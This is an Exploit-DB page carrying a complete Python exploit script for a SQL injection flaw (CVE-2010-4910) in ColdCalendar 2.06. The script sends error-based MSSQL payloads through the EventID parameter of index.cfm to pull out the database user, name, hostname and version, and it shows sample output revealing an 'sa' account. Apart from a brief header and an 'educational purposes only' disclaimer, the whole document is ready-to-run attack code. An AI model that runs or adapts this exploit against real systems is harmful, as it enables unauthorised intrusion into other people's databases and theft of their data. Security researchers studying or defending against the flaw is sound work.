ColdCalendar 2.06 SQL Injection Exploit



EDB-ID: 14932 CVE: 2010-4910 OSVDB-ID: 67876
Author: mr_me Published: 2010-09-07 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#!/usr/bin/python
# ColdGen - coldcalender v2.06 Remote 0day SQL Injection Exploit
# Vendor: http://www.coldgen.com/
# Found by: mr_me
# ----------------------------------------------->
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# ----------------------------------------------->
# The vulnerability:
# ===================
# - SQL Injection in the index.cfm using parameters: EventID
#
# This tool assumes the target has a MSSQL backend.
# ./ColdCal0day.py -p localhost:8080 -t localhost:8500 -d /coldcal/
#
# 	| ----------------------------------------------------------- |
# 	|  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |
# 	| --------------[ by mr_me - net-ninja.net ]----------------- |
# 
# (+) Exploiting target @: http://localhost:8500/coldcal/
#
# (+) Testing Proxy...
# (+) Proxy @ localhost:8080
# (+) Building Handler..
# 
# (!) Found database version: 
# 
# 	Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) 
# 	Aug  19 2006 20:47:07 
# 	Copyright (c) 1988-2005 Microsoft Corporation
# 	Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
#
# (!) Found database hostname: 127.0.0.1
#
# (!) Found database user: sa
#
# (!) Found database name: coldcal

import sys, httplib, urllib2, urllib, re
from optparse import OptionParser

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t localhost:8500 -d /coldcal/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="Directory path to the CMS")
(options, args) = parser.parse_args()

def banner():
    print "\n\t| ----------------------------------------------------------- |"
    print "\t|  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |"
    print "\t| --------------[ by mr_me - net-ninja.net ]----------------- |\n"

if len(sys.argv) < 5:
	banner()
	parser.print_help()
	sys.exit(1)

def getProxy():
	try:
		pr = httplib.HTTPConnection(options.proxy)
		pr.connect()
		proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
	except(socket.timeout):
		print "\n(-) Proxy Timed Out"
		sys.exit(1)
	except(),msg:
		print "\n(-) Proxy Failed"
		sys.exit(1)
	return proxy_handler

def setTargetHTTP():
	if options.target[0:7] != 'http://':
		options.target = "http://" + options.target
	return options.target
	
def getRequest(exploit):
	if options.proxy:
		try:
			proxyfier = urllib2.build_opener(getProxy())
			check = proxyfier.open(options.target+options.directory+exploit).read()
		except urllib2.HTTPError, error:
			check = error.read()
		except socket.error:
			print "(-) Proxy connection failed"
			sys.exit(1)
	else:
		try:
			req = urllib2.Request(options.target+options.directory+exploit)
			check = urllib2.urlopen(req).read()
		except urllib2.HTTPError, error:
			check = error.read()
		except urllib2.URLError:
			print "(-) Target connection failed, check your address"
			sys.exit(1)
	return check

basicInfo = {'user: ':'user_name()', 'name: ':'db_name()', 'hostname: ':'host_name()','version: \n\n\t':'@@version'}

def basicSploit(info):
	return "index.cfm?fuseaction=ViewEventDetails&EventID=1+and+1=convert(int," + info + ")--"

if __name__ == "__main__":
	banner()
	options.target = setTargetHTTP()
	print "(+) Exploiting target @: %s" % (options.target+options.directory)
	if options.proxy:
		print "\n(+) Testing Proxy..."
		print "(+) Proxy @ %s" % (options.proxy)
		print "(+) Building Handler.."

	for key in basicInfo:
		getResp = getRequest(basicSploit(basicInfo[key]))
		if re.findall("the nvarchar value '", getResp):
			dbInfo = getResp.split('the nvarchar value '')[1].split('' to data type int')[0]
			print "\n(!) Found database %s%s" % (key, dbInfo.rstrip())